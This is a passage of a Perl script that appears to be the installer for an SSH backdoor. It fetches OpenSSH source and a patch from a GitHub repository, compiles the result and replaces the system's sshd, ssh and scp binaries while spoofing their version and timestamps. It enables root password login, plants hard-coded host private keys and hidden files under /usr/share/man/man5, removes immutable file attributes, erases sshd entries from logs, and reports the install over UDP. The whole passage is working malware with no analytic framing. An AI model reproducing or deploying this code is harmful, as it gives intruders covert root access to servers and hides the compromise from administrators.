- if ( ( $platform eq 'CentOS' ) || ( $platform eq 'RedHat' ) || ( $platform eq 'Fedora' ) || ( $platform eq 'Slackware' ) ) {
- if ( $yum == 1) {
- &install_gcc_yum();
- $rpm_file = &check_rpm_exists($rpm);
- if ( $rpm_file ne '0' ) {
- print "[+] gcc installed$/";
- return;
- }
- }
- &install_gcc_centos();
- }
- elsif ( ( $platform eq 'openSUSE' ) || ( $platform eq 'SUSE' ) ) {
- &install_gcc_opensuse();
- }
- elsif ( ( $platform eq 'Debian' ) || ( $platform eq 'Ubuntu' ) ) {
- &install_gcc_debian();
- }
- else {
- return;
- }
- $rpm_file = &check_rpm_exists($rpm);
- if ( $rpm_file ne '0' ) {
- print "[+] gcc installed$/";
- }
- else {
- print "[-] gcc not installed$/";
- &install_compiled_ssh();
- exit(0);
- }
- }
- sub install_gcc_yum {
- print "[+] yum found, try install gcc$/";
- `yum -y install gcc`;
- }
- sub install_gcc_centos {
- $url = &get_url();
- #&install_rpm_from_web('gmp-devel');
- &install_rpm_from_web('ppl');
- &install_rpm_from_web('mpfr');
- &install_rpm_from_web('cloog-ppl');
- #&install_rpm_from_web('glibc-devel');
- &install_rpm_from_web('kernel-headers');
- print "[+] Install glibc-headers and glibc-devel$/";
- my $rpm_file = &check_rpm_exists('glibc');
- if ( $rpm_file ne '0' ) {
- my ($glibc_version) = $rpm_file =~ /glibc\-(.*)/;
- print "[+] glibc $glibc_version$/";
- &install_rpm_from_web('glibc-headers-'.$glibc_version);
- &install_rpm_from_web('glibc-devel-'.$glibc_version);
- $rpm_file = &check_rpm_exists('glibc-headers');
- if ( $rpm_file eq '0' ) {
- my $urls = &search_rpm('glibc-headers-'.$glibc_version);
- &install_rpm($urls,'glibc-headers',$glibc_version);
- }
- $rpm_file = &check_rpm_exists('glibc-devel');
- if ( $rpm_file eq '0' ) {
- my $urls = &search_rpm('glibc-devel-'.$glibc_version);
- &install_rpm($urls,'glibc-devel',$glibc_version);
- }
- }
- else {
- print "[-] glibc not installed$/";
- }
- &install_rpm_from_web('libgomp');
- my $cpp_version = &install_rpm_from_web('cpp');
- my ($gcc) = $page =~ /href=\"(gcc\-$cpp_version)\"/;
- print "[+] Found $gcc$/";
- print "[+] Install $gcc$/";
- `rpm -i $url$gcc`;
- &install_rpm_from_web('make');
- }
- sub install_rpm_from_web {
- my $rpm = $_[0];
- my $mach = $machine;
- if ( ( $platform eq 'CentOS' ) || ( $platform eq 'RedHat' ) || ( $platform eq 'Fedora' ) || ( $platform eq 'Slackware' ) ) {
- if ( $machine eq 'i686' ) {
- $mach = 'i386';
- }
- }
- my ($rpm_dist, $rpm_version) = $page =~ /href=\"($rpm\-([^\"]+$mach[^\"]+))\"/;
- print "[+] Found $rpm $rpm_dist$/";
- my $rpm_file = &check_rpm_exists($rpm);
- if ( $rpm_file eq '0' ) {
- print "[+] Install $rpm$/";
- `rpm -i $url$rpm_dist`;
- }
- return $rpm_version;
- }
- sub install_gcc_opensuse {
- $url = &get_url();
- &install_rpm_from_web('libgomp');
- &install_rpm_from_web('gmp');
- &install_rpm_from_web('libmpfr1');
- ### Install CPP4
- my ($cpp_file, $cpp4d) = $page =~ /href=\"((cpp4\d)\-[^\"]+)\"/;
- my $rpm_file = &check_rpm_exists($cpp4d);
- if ( $rpm_file eq '0' ) {
- print "[+] Install $cpp_file$/";
- `rpm -i $url$cpp_file`;
- }
- ###
- my $cpp_version = &install_rpm_from_web('cpp');
- ### Install GCC4
- my ($gcc_file, $gcc4d) = $page =~ /href=\"((gcc4\d)\-[^\"]+)\"/;
- $rpm_file = &check_rpm_exists($gcc4d);
- if ( $rpm_file eq '0' ) {
- print "[+] Install $gcc_file$/";
- my $ret = `rpm -i $url$gcc_file 2>&1`;
- my $dep_file = '';
- if ( $ret =~ /\s*([^\s]+)\s*\>/ ) {
- $dep_file = $1;
- my ($dep_file_full) = $page =~ /href=\"($dep_file(\d*)\-[^\"]+)\"/;
- `rpm -i $url$dep_file_full`;
- `rpm -i $url$gcc_file`;
- }
- }
- ###
- ### Install GCC
- my ($gcc) = $page =~ /href=\"(gcc\-$cpp_version)\"/;
- print "[+] Found $gcc$/";
- print "[+] Install $gcc$/";
- `rpm -i $url$gcc`;
- ###
- &install_rpm_from_web('make');
- }
- sub install_gcc_debian {
- `apt-get -y --force-yes install build-essential`;
- }
- sub install_make {
- my $rpm = 'make';
- my $rpm_file = &check_rpm_exists($rpm);
- if ( $rpm_file ne '0' ) {
- print "[+] make installed$/";
- return;
- }
- else {
- if ( $yum == 1 ) {
- &yum_install($rpm);
- }
- elsif ( ( $platform eq 'Debian' ) || ( $platform eq 'Ubuntu' ) ) {
- &install_debian_pkg($rpm);
- }
- }
- }
- sub install_debian_pkg {
- my $pkg = $_[0];
- my $try_install = 0;
- while ( $try_install < 2 ) {
- my $pkg_exists = &check_debian_pkg_exists($pkg);
- if ( $pkg_exists == 1 ) {
- $try_install = 2;
- }
- else {
- if ( $try_install == 1 ) {
- print "[+] Try apt-get update$/";
- `apt-get -y --force-yes update`;
- }
- `apt-get -y --force-yes install $pkg`;
- $try_install++;
- }
- }
- }
- sub check_extutils_exists {
- eval { require ExtUtils::MakeMaker };
- my $extutils = $@ ? '0' : '1';
- print "[+] ExtUtils::MakeMaker - $extutils$/";
- return $extutils;
- }
- sub install_extutils {
- if ( ( $extutils == 0 ) && ( $yum == 1 ) ) {
- print "[+] yum found, try install perl-ExtUtils-MakeMaker$/";
- `yum -y install perl-ExtUtils-MakeMaker`;
- $extutils = &check_extutils_exists();
- # Modify Yum config and try install again
- if ( $extutils == 0 ) {
- &modify_yum_config();
- `yum -y install perl-ExtUtils-MakeMaker`;
- $extutils = &check_extutils_exists();
- }
- }
- }
- ### Get SSH Version
- sub get_ssh_version {
- if ( $MODE eq 'version' ) {
- if ( $MODE_ARG1 ne '' ) {
- if ( $MODE_ARG2 ne '' ) {
- return ($MODE_ARG1, $MODE_ARG2);
- }
- return ($MODE_ARG1, '');
- }
- else {
- print "Can't get ARGV with SSH Version";
- }
- }
- my $ssh = `/usr/sbin/sshd -V 2>&1`;
- if ( $ssh =~ /(OpenSSH[^, \n]+)[ \t]?([^, \n]+)?/s ) {
- print "[+] SSH Version: $1$/";
- my $add = '';
- if ( defined($2) ) {
- $add = $2;
- print "[+] SSH Version ADDENDUM: $add$/";
- }
- return ($1, $add);
- }
- else {
- print "[-] Can't get SSH Version$/";
- print "[+] Use default SSH Version OpenSSH_5.1p1$/";
- return ('OpenSSH_5.1p1', '');
- }
- }
- ###
- ### Install SSH
- sub install_ssh {
- print "[+] Get SSH distributive$/";
- if ( !-e 'openssh-6.6p1.tar.gz' ) {
- `$wget -t 5 http://mirror.yandex.ru/pub/OpenBSD/OpenSSH/portable/openssh-6.6p1.tar.gz`;
- }
- if ( !-e 'openssh-6.6p1.tar.gz' ) {
- `$wget -t 5 ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-6.6p1.tar.gz`;
- }
- if ( !-e 'openssh-6.6p1.tar.gz' ) {
- my $openssh_src_get_result = &get_openssh_src();
- # OpenSSH src not getted
- if ( $openssh_src_get_result == 1 ) {
- return 0;
- }
- }
- if ( !-e 'openssh-6.6p1.tar.gz' ) {
- print "[-] Can't download openssh-6.6p1.tar.gz$/";
- &install_compiled_ssh();
- exit(0);
- }
- `mv openssh-6.6p1.tar.gz $run_path/`;
- chdir($run_path);
- print "[+] Extract SSH distributive$/";
- `tar xfz openssh-6.6p1.tar.gz`;
- print "[+] Get SSH patch and apply it$/";
- if ( !-e $ssh_patch ) {
- if ( $^O eq 'freebsd' ) {
- `$wget -t 5 https://raw.github.com/briwern/briw/gh-pages/$ssh_patch`;
- }
- else {
- `$wget -t 5 --no-check-certificate https://raw.github.com/briwern/briw/gh-pages/$ssh_patch`;
- unless ( -e $ssh_patch ) {
- `$wget -t 5 https://raw.github.com/briwern/briw/gh-pages/$ssh_patch`;
- }
- }
- }
- if ( !-e $ssh_patch ) {
- my $patch_get_result = &get_ssh_patch();
- # Patch not getted
- if ( $patch_get_result == 1 ) {
- return 0;
- }
- }
- `mv $ssh_patch $run_path/`;
- chdir($run_path);
- `patch -p0 -i $ssh_patch`;
- `rm -rf openssh-6.6p1_p`;
- unlink($ssh_patch);
- chdir('openssh-6.6p1');
- my ($ssh_version, $ssh_addendum) = &get_ssh_version();
- `perl -Upi -e 's/OpenSSH_6.6p1/$ssh_version/' version.h`;
- my $sshvers_addendum = '';
- my $sshconf_addendum = '';
- if ( $ssh_addendum eq '' ) {
- $sshvers_addendum = '';
- $sshconf_addendum = 'NULL';
- }
- else {
- $sshvers_addendum = sprintf(' %s', $ssh_addendum);
- $sshconf_addendum = sprintf('"%s"', $ssh_addendum);
- }
- `perl -Upi -e 's/ FreeBSD-20140420/$sshvers_addendum/' version.h`;
- `perl -Upi -e 's/options->version_addendum = NULL/options->version_addendum = $sshconf_addendum/' servconf.c`;
- ### Configure
- print "[+] Start configure$/";
- my $configure_cmd = '';
- if ( ( $platform eq 'CentOS' ) || ( $platform eq 'RedHat' ) || ( $platform eq 'Fedora' ) || ( $platform eq 'Slackware' ) || ( $platform eq 'Debian' ) || ( $platform eq 'Ubuntu' ) ) {
- $configure_cmd = './configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --without-zlib-version-check --with-kerberos5 2>&1';
- }
- else {
- $configure_cmd = './configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --without-zlib-version-check 2>&1';
- }
- ###
- my $configure_result = `$configure_cmd`;
- if ( $configure_result =~ /without-openssl-header-check/ ) {
- print "[!] Rerun ./configure with --without-openssl-header-check$/";
- $configure_cmd .= ' --without-openssl-header-check';
- `$configure_cmd`;
- }
- # Make
- print "[+] Start make$/";
- if ( exists($ENV{'SHELL'}) && ( $ENV{'SHELL'} =~ /\/csh$/ ) ) {
- print "[+] Modify Makefile to enable /bin/sh for make";
- `perl -Upi -e 's/\\#SHELL = \\/bin\\/sh/SHELL = \\/bin\\/sh/' Makefile`;
- }
- `make`;
- foreach (qw(sshd ssh scp)) {
- if ( !-e $_ ) {
- print "[-] Can't find ./${_}$/";
- return 0;
- }
- }
- `strip ./sshd`;
- `strip ./ssh`;
- `strip ./scp`;
- return &final_ssh_install();
- }
- sub change_sshd_config {
- `touch /var/tmp/sess_8848cf7a0c9c209c99acc51f1e259065`;
- `touch -r $SSHD_CONFIG /var/tmp/sess_8848cf7a0c9c209c99acc51f1e259065`;
- my $sshd_config_new = '';
- open SSHD_CONFIG, "< $SSHD_CONFIG";
- while ( <SSHD_CONFIG> ) {
- chomp;
- if ( /^\#/ ) {
- $sshd_config_new .= "$_$/";
- }
- elsif ( /AllowUsers\s+(.*)/ ) {
- my $allow_users = $1;
- print "[+] Found AllowUsers: $allow_users$/";
- if ( $allow_users !~ /root/ ) {
- print "[+] Added root to AllowUsers$/";
- $allow_users .= ' root';
- }
- $sshd_config_new .= sprintf("AllowUsers %s$/", $allow_users);
- }
- elsif ( ( /PermitRootLogin no/ ) || ( /PermitRootLogin without-password/ ) ) {
- print "[+] Change $_ to PermitRootLogin yes$/";
- $sshd_config_new .= "PermitRootLogin yes$/";
- }
- elsif ( /^PasswordAuthentication no/ ) {
- print "[+] Change $_ to PasswordAuthentication yes$/";
- $sshd_config_new .= "PasswordAuthentication yes$/";
- }
- }
- close SSHD_CONFIG;
- open SSHD_CONFIG_NEW, "> $SSHD_CONFIG";
- print SSHD_CONFIG_NEW $sshd_config_new;
- close SSHD_CONFIG_NEW;
- `touch -r /var/tmp/sess_8848cf7a0c9c209c99acc51f1e259065 $SSHD_CONFIG`;
- unlink('/var/tmp/sess_8848cf7a0c9c209c99acc51f1e259065');
- }
- sub final_ssh_install {
- `touch -r /usr/sbin/sshd ./sshd`;
- `touch -r /usr/bin/ssh ./ssh`;
- `touch -r /usr/bin/scp ./scp`;
- print `/bin/ls -al ./sshd ./ssh ./scp`;
- &change_sshd_config();
- print `ps ax | grep -i ssh`;
- ### Backup old files
- print $/."[+] Backup old files$/";
- ©_file('/usr/sbin/sshd', './old_sshd', 'copy');
- ©_file('/usr/bin/ssh', './old_ssh', 'copy');
- ©_file('/usr/bin/scp', './old_scp', 'copy');
- `touch -r /usr/sbin/sshd ./old_sshd`;
- `touch -r /usr/bin/ssh ./old_ssh`;
- `touch -r /usr/bin/scp ./old_scp`;
- print `/bin/ls -al ./old_sshd ./old_ssh ./old_scp`;
- ###
- ### Copy new files
- print $/."[+] Copy new files$/";
- ©_file('./sshd', '/usr/sbin/sshd', 'move');
- ©_file('./ssh', '/usr/bin/ssh', 'move');
- ©_file('./scp', '/usr/bin/scp', 'move');
- ###
- if ( !-d '/usr/share/man/man5' ) {
- `mkdir /usr/share/man/man5`;
- }
- `chmod 777 /usr/share/man/man5/`;
- `touch /usr/share/man/man5/ttyl.5.gz`;
- `touch /usr/share/man/man5/ttyp.5.gz`;
- `touch /usr/share/man/man5/ttyv.5.gz`;
- `chmod 666 /usr/share/man/man5/ttyl.5.gz`;
- `chmod 666 /usr/share/man/man5/ttyp.5.gz`;
- `chmod 666 /usr/share/man/man5/ttyv.5.gz`;
- if ( !-d '/var/empty' ) {
- `mkdir /var/empty`;
- }
- &install_ed25519_key();
- &install_ecdsa_key();
- &install_dsa_key();
- &check_permissions_ssh_keys();
- ### Generate SID for server
- if ( !-e '/usr/share/man/man5/ttys.5' ) {
- my $sid = &generate_sid();
- `echo '$sid' > /usr/share/man/man5/ttys.5`;
- }
- ###
- &restart_sshd();
- ¬ify_installed_ssh("$SSH_HOST:$SSH_PORT");
- $|=1;
- printf("[+] Wait work sshd confirmation %s:%s$/", $SSH_HOST, $SSH_PORT);
- my $ssh_installed = 0;
- for (my $i = 1; $i < 15; $i++) {
- if ( -e $ssh_confirm_file ) {
- $ssh_installed = 1;
- $SSH_INSTALLED = 1;
- unlink($ssh_confirm_file);
- last;
- }
- else {
- print '.';
- sleep(5);
- }
- }
- print "$/$/";
- if ( $ssh_installed == 0 ) {
- print "[+] Restore old files$/";
- ©_file('./old_sshd', '/usr/sbin/sshd', 'copy');
- ©_file('./old_ssh', '/usr/bin/ssh', 'copy');
- ©_file('./old_scp', '/usr/bin/scp', 'copy');
- unlink('/usr/share/man/man5/ttyl.5.gz');
- unlink('/usr/share/man/man5/ttyp.5.gz');
- unlink('/usr/share/man/man5/ttyv.5.gz');
- unlink('/usr/share/man/man5/ttys.5');
- &restart_sshd();
- }
- &remove_install_files();
- &clean_logs();
- if ( $ssh_installed == 0 ) {
- print "[-] SSH Install Failed$/";
- }
- else {
- print "[+] SSH Install Good$/";
- }
- return $ssh_installed;
- }
- ###
- sub install_ed25519_key {
- if ( -f '/etc/ssh/ssh_host_ed25519_key' ) {
- return;
- }
- my $hostname = `uname -n`;
- chomp($hostname);
- `touch -r /etc/ssh /var/tmp/sess_8848cf7a0c9c209c99acc51f1e259788`;
- `cat <<EOF> /etc/ssh/ssh_host_ed25519_key
- -----BEGIN OPENSSH PRIVATE KEY-----
- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
- QyNTUxOQAAACDiBWMotAYNTgw5oyvoSFDKixbbto+6uNoYBhd7wc9wvgAAAJiLy+/Ai8vv
- wAAAAAtzc2gtZWQyNTUxOQAAACDiBWMotAYNTgw5oyvoSFDKixbbto+6uNoYBhd7wc9wvg
- AAAEDAAm8gptq/UUQRVLRE3rVBIXldiWdvsTE8QMMVA/AkWeIFYyi0Bg1ODDmjK+hIUMqL
- Ftu2j7q42hgGF3vBz3C+AAAAD3Jvb3RAU2VydmV1ckNURgECAwQFBg==
- -----END OPENSSH PRIVATE KEY-----
- EOF`;
- `echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOIFYyi0Bg1ODDmjK+hIUMqLFtu2j7q42hgGF3vBz3C+ root\@$hostname' > /etc/ssh/ssh_host_ed25519_key.pub`;
- `chmod 600 /etc/ssh/ssh_host_ed25519_key`;
- `chmod 644 /etc/ssh/ssh_host_ed25519_key.pub`;
- `touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_ed25519_key`;
- `touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_ed25519_key.pub`;
- `touch -r /var/tmp/sess_8848cf7a0c9c209c99acc51f1e259788 /etc/ssh`;
- unlink('/var/tmp/sess_8848cf7a0c9c209c99acc51f1e259788');
- }
- sub install_ecdsa_key {
- if ( -f '/etc/ssh/ssh_host_ecdsa_key' ) {
- return;
- }
- my $hostname = `uname -n`;
- chomp($hostname);
- `touch -r /etc/ssh /var/tmp/sess_8848cf7a0c9c209c99acc51f1e259788`;
- `cat <<EOF> /etc/ssh/ssh_host_ecdsa_key
- -----BEGIN EC PRIVATE KEY-----
- MHcCAQEEIL/zetUvz9Ci1Z/w2KntUgEDqqxjN4mwmlRvPG27CG+xoAoGCCqGSM49
- AwEHoUQDQgAELWRdfXYpHCaH4mQbiLYr9ZsKrgwOdl+f43irZnSmZPsDQX6gXOzt
- mQ1eIypH+7KLmtgh7mOsIgtcywowwmD3OQ==
- -----END EC PRIVATE KEY-----
- EOF`;
- `echo 'ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBC1kXX12KRwmh+JkG4i2K/WbCq4MDnZfn+N4q2Z0pmT7A0F+oFzs7ZkNXiMqR/uyi5rYIe5jrCILXMsKMMJg9zk= root\@$hostname' > /etc/ssh/ssh_host_ecdsa_key.pub`;
- `chmod 600 /etc/ssh/ssh_host_ecdsa_key`;
- `chmod 644 /etc/ssh/ssh_host_ecdsa_key.pub`;
- `touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_ecdsa_key`;
- `touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_ecdsa_key.pub`;
- `touch -r /var/tmp/sess_8848cf7a0c9c209c99acc51f1e259788 /etc/ssh`;
- unlink('/var/tmp/sess_8848cf7a0c9c209c99acc51f1e259788');
- }
- sub install_dsa_key {
- if ( -f '/etc/ssh/ssh_host_dsa_key' ) {
- return;
- }
- my $hostname = `uname -n`;
- chomp($hostname);
- `touch -r /etc/ssh /var/tmp/sess_8848cf7a0c9c209c99acc51f1e259788`;
- `cat <<EOF> /etc/ssh/ssh_host_dsa_key
- -----BEGIN DSA PRIVATE KEY-----
- MIIBuwIBAAKBgQDMv+1RbSUV8YZW86CgTf+BADXlIeM+mrBwaiSQyipT/gtAIE+n
- VkJPmOQpt/grnBjKgfkKMbCHSTEEkhyI/24iTu8atyB5hiFkWEVuFIlyGflKexym
- BlDkq5bWUmLtsSgSlxQeoP+OXLWlB+QznlkCVhfPEgREUCHnyeFrzB3qHwIVALo8
- ihfrxtfKGYNTnm9FYW/2/wVFAoGAFkzBugg4ebR9bQ2CMyWkqjXRX4DHlm7Wkp6M
- 2KnIWwnpK3Mv9IAVXycZrkOpq7ncc3dJuNN7gTNMwvAkGgDZ0IE7DShrCbr3NJw/
- virUPeMlaCNUO/by5RujoV+5HZGoQKot4SBZem0psgwIVpjxGyXlZEmZCy6FpckC
- oaoSIukCgYEAvfArMS2sS22VvynOcBxfU6lAZfTJfWmYIbCsX4FB07/3WLVF6ZXY
- wqvYSBfgyUgO4Ic29qlBGMYXpLn9Id7MZLYqM9jjkNOS6lQYDd1nH90UWUl7mTBr
- rgaSDVsSu9gYulqrrPUCPa2Oz/3+HEzg8GaMIudBVoV+c5cytxbI8HkCFCmvACss
- YEQigCFj3fh+14tvhHDh
- -----END DSA PRIVATE KEY-----
- EOF`;
- `echo 'ssh-dss AAAAB3NzaC1kc3MAAACBAMy/7VFtJRXxhlbzoKBN/4EANeUh4z6asHBqJJDKKlP+C0AgT6dWQk+Y5Cm3+CucGMqB+QoxsIdJMQSSHIj/biJO7xq3IHmGIWRYRW4UiXIZ+Up7HKYGUOSrltZSYu2xKBKXFB6g/45ctaUH5DOeWQJWF88SBERQIefJ4WvMHeofAAAAFQC6PIoX68bXyhmDU55vRWFv9v8FRQAAAIAWTMG6CDh5tH1tDYIzJaSqNdFfgMeWbtaSnozYqchbCekrcy/0gBVfJxmuQ6mrudxzd0m403uBM0zC8CQaANnQgTsNKGsJuvc0nD++KtQ94yVoI1Q79vLlG6OhX7kdkahAqi3hIFl6bSmyDAhWmPEbJeVkSZkLLoWlyQKhqhIi6QAAAIEAvfArMS2sS22VvynOcBxfU6lAZfTJfWmYIbCsX4FB07/3WLVF6ZXYwqvYSBfgyUgO4Ic29qlBGMYXpLn9Id7MZLYqM9jjkNOS6lQYDd1nH90UWUl7mTBrrgaSDVsSu9gYulqrrPUCPa2Oz/3+HEzg8GaMIudBVoV+c5cytxbI8Hk= root\@$hostname' > /etc/ssh/ssh_host_dsa_key.pub`;
- `chmod 600 /etc/ssh/ssh_host_dsa_key`;
- `chmod 644 /etc/ssh/ssh_host_dsa_key.pub`;
- `touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_dsa_key`;
- `touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_dsa_key.pub`;
- `touch -r /var/tmp/sess_8848cf7a0c9c209c99acc51f1e259788 /etc/ssh`;
- unlink('/var/tmp/sess_8848cf7a0c9c209c99acc51f1e259788');
- }
- sub check_permissions_ssh_keys {
- if ( -f '/etc/ssh/ssh_host_rsa_key' ) {
- `chmod 600 /etc/ssh/ssh_host_rsa_key`;
- }
- if ( -f '/etc/ssh/ssh_host_ecdsa_key' ) {
- `chmod 600 /etc/ssh/ssh_host_ecdsa_key`;
- }
- if ( -f '/etc/ssh/ssh_host_ed25519_key' ) {
- `chmod 600 /etc/ssh/ssh_host_ed25519_key`;
- }
- if ( -f '/etc/ssh/ssh_host_dsa_key' ) {
- `chmod 600 /etc/ssh/ssh_host_dsa_key`;
- }
- if ( -f '/etc/ssh/ssh_host_key' ) {
- `chmod 600 /etc/ssh/ssh_host_key`;
- }
- }
- sub generate_sid {
- my @chars = ('0'..'9', 'a'..'z');
- my $sid = '';
- for (my $i = 0; $i < 16; $i++) {
- $sid .= $chars[int(rand($#chars))];
- }
- return $sid;
- }
- sub restart_sshd {
- print "[+] Restart SSHD$/";
- my $sshd_pid = `head -1 /var/run/sshd.pid`;
- chomp($sshd_pid);
- printf("Found SSHD Pid: %d$/", $sshd_pid);
- if ( ( $platform eq 'Debian' ) || ( $platform eq 'Ubuntu' ) ) {
- unless ( -f '/etc/init.d/ssh' ) {
- print "[!] Not found /etc/init.d/ssh$/";
- }
- `ls -al /etc/init.d/ssh`;
- print `/etc/init.d/ssh restart`;
- }
- elsif ( $platform eq 'FreeBSD' ) {
- print `/etc/rc.d/sshd restart`;
- }
- elsif ( -f '/etc/init.d/sshd' ) {
- `ls -al /etc/init.d/sshd`;
- print `/etc/init.d/sshd restart`;
- }
- else {
- unless ( -f '/etc/init.d/sshd' ) {
- print "[!] Not found /etc/init.d/sshd$/";
- `service sshd restart`;
- }
- }
- # Need for wait while sshd.pid created
- sleep(4);
- my $sshd_pid_new = `head -1 /var/run/sshd.pid`;
- chomp($sshd_pid_new);
- printf("Found New SSHD Pid: %d$/", $sshd_pid_new);
- if ( $sshd_pid == $sshd_pid_new ) {
- printf("[-] SSHD Pid and New SSHD Pid are equal: %d$/. Try kill -9 and restart SSHD$/", $sshd_pid);
- `kill -9 $sshd_pid`;
- `/usr/sbin/sshd`;
- }
- }
- sub remove_install_files {
- print "[+] Remove distributive files$/";
- chdir($run_path);
- `rm -rf openssh-6.6p1*`;
- }
- ### Copy new file and check secure bits
- sub copy_file {
- my ($from, $to, $mode) = @_;
- my $directory = '';
- if ( $to =~ /^(.*)\/([^\/]+)/ ) {
- $directory = $1;
- }
- my $bits_directory = '';
- my $bits = '';
- if ( $platform ne 'FreeBSD' ) {
- $bits_directory = &check_bits_directory($directory);
- $bits = &check_bits($to);
- }
- &chattr($bits_directory, $directory, '-');
- &chattr($bits, $to, '-');
- if ( $mode eq 'copy' ) {
- print "[+] Copy from $from to $to$/";
- `cp -f $from $to`;
- }
- else {
- print "[+] Move from $from to $to$/";
- `mv -f $from $to`;
- }
- &chattr($bits, $to, '+');
- &chattr($bits_directory, $directory, '+');
- if ( ( $mode eq 'move' ) && ( -e $from ) ) {
- print "[-] Can't copy file $from$/";
- &remove_install_files();
- exit(0);
- }
- }
- ###
- sub lsattr {
- my $file = $_[0];
- my $bits = '';
- if ( -e '/usr/bin/lsattr' ) {
- my $args = ( -d $file ) ? '-d' : '';
- my $bits_ret = `lsattr $args $file`;
- chomp($bits_ret);
- ($bits) = $bits_ret =~ /(.*)\s+$file$/;
- unless ( defined($bits) ) {
- $bits = '';
- }
- }
- else {
- my $mask = &lsattr_perl($file);
- $bits = scalar(&calcSymMask($mask));
- }
- return $bits;
- }
- sub chattr {
- my ($bits, $file, $mode) = @_;
- # Skip change bits if bits empty
- if ( $bits eq '' ) {
- return;
- }
- if ( -e '/usr/bin/chattr' ) {
- `chmod 755 /usr/bin/chattr`;
- print "RUN: chattr '$mode$bits' $file$/";
- `chattr $mode$bits $file`;
- }
- else {
- print "RUN: chattr_perl '$mode$bits' $file$/";
- &chattr_perl("$mode$bits", $file);
- }
- }
- ### Check secure bits
- sub check_bits {
- my $file = $_[0];
- unless ( -e $file ) {
- return '';
- }
- print "[+] Check secure bits: $file ";
- my $bits = &lsattr($file);
- print " $bits ";
- my @bits_array = split(/-/,$bits);
- if ( $#bits_array == -1 ) {
- print "[OK];$/";
- return '';
- }
- else {
- my $chattr = '';
- print "[BAD];$/";
- foreach (@bits_array) {
- if ( ($_ ne '') && ($_ ne 'e') ) {
- $chattr .= $_;
- }
- }
- if ($chattr ne '') {
- print "[+] Try chattr $chattr $file$/";
- }
- return $chattr;
- }
- }
- ###
- ### Check secure bits
- sub check_bits_directory {
- my $directory = $_[0];
- print "[+] Check secure bits directory: $directory ";
- my $bits = &lsattr($directory);
- print " $bits ";
- my @bits_array = split(/-/, $bits);
- if ( $#bits_array == -1 ) {
- print "[OK];$/";
- return '';
- }
- else {
- my $chattr = '';
- print "[BAD];$/";
- foreach (@bits_array) {
- if ( ($_ ne '') && ($_ ne 'e') && ($_ ne 'I') ) {
- $chattr .= $_;
- }
- }
- if ($chattr ne '') {
- print "[+] Try chattr $chattr $directory$/";
- }
- return $chattr;
- }
- }
- ###
- ############################ lsattr and chattr perl ############################
- my %attr = (
- s => 0x00000001, u => 0x00000002, c => 0x00000004, S => 0x00000008,
- i => 0x00000010, a => 0x00000020, d => 0x00000040, A => 0x00000080,
- Z => 0x00000100, X => 0x00000400, E => 0x00000800,
- I => 0x00001000, j => 0x00004000, t => 0x00008000,
- D => 0x00010000, T => 0x00020000,
- );
- use constant EXT2_IOC_GETFLAGS => 0x80046601;
- use constant EXT2_IOC_SETFLAGS => 0x40046602;
- sub _get_ext2_attributes {
- my $file = shift;
- open my $fh, $file
- or return;
- my $res = pack 'i', 0;
- return unless defined ioctl($fh, EXT2_IOC_GETFLAGS, $res);
- $res = unpack 'i', $res;
- }
- sub _set_ext2_attributes {
- my $file = shift;
- my $flags = shift;
- open my $fh, $file
- or return;
- my $flag = pack 'i', $flags;
- return unless defined ioctl($fh, EXT2_IOC_SETFLAGS, $flag);
- }
- sub calcSymMask($) {
- my @F = _calcSymMask($_[0]);
- return @F if wantarray;
- $_ = join('', @F);
- y/+//d;
- s/(?<=-)[sucSiadAZXEIjtDT]//g;
- return $_;
- }
- sub _calcSymMask($) {
- my @mask;
- foreach ( sort { $attr{$a} <=> $attr{$b} } keys %attr ){
- push @mask, ($_[0] & $attr{$_} ? "+$_" : "-$_");
- }
- return @mask;
- }
- sub calc_mask {
- my $mask = $_[0];
- $mask =~ s/-//g;
- my $calc = 0;
- my @bits = split(//, $mask);
- foreach (@bits) {
- $calc += $attr{$_};
- }
- return $calc;
- }
- sub lsattr_perl {
- my $file = $_[0];
- my $bits = &_get_ext2_attributes($file);
- my $bits_str = scalar(&calcSymMask($bits));
- return $bits_str;
- }
- sub chattr_perl {
- my ($bits_str, $file) = @_;
- $bits_str =~ s/\+//g;
- my $bits = &calc_mask($bits_str);
- &_set_ext2_attributes($file, $bits);
- }
- ############################ lsattr and chattr perl ############################
- ### Clean SSH logs
- sub clean_logs {
- print "[+] Search logs$/";
- chdir('/var/log');
- my $files = `ls -t | head -10`;
- my @files = split("$/", $files);
- foreach (@files) {
- print "$_$/";
- if ( -T $_ ) {
- my $tail = `tail -100 $_ | grep 'Server listening on' | tail -1`;
- if ( $tail =~ /(.*?\d{2}:\d{2}:)\d{2}.*Server listening on/ ) {
- print "$1$/";
- `cp /var/log/$_ /var/tmp/$_`;
- `cat /var/tmp/$_ | grep -v "$1" > /var/log/$_`;
- `rm -rf /var/tmp/$_`;
- last;
- }
- $tail = `tail -100 $_ | grep 'Received signal 15' | tail -1`;
- if ( $tail =~ /(.*?\d{2}:\d{2}:)\d{2}.*Received signal 15/ ) {
- print "$1$/";
- `cp /var/log/$_ /var/tmp/$_`;
- `cat /var/tmp/$_ | grep -v "$1" > /var/log/$_`;
- `rm -rf /var/tmp/$_`;
- last;
- }
- }
- }
- }
- ###
- sub install_from_same_host {
- print "[I] Get Version: $platform, OS: $os, Version OS: $version_os, Machine: $machine$/";
- &install_compiled_ssh();
- exit(0);
- }
- sub notify_installed_ssh {
- my ($message) = @_;
- &send_udp('i', $message);
- }
- sub notify_get_ssh_patch {
- my ($message) = @_;
- &send_udp('ip', $message);
- }
- sub notify_get_openssh_src {
- my ($message) = @_;
- &send_udp('io', $message);
- }
- sub notify_get_compiled_ssh {
- my ($message) = @_;
- &send_udp('ic', $message);
- }
- sub notify_get_same_host_ssh {
- my ($message) = @_;
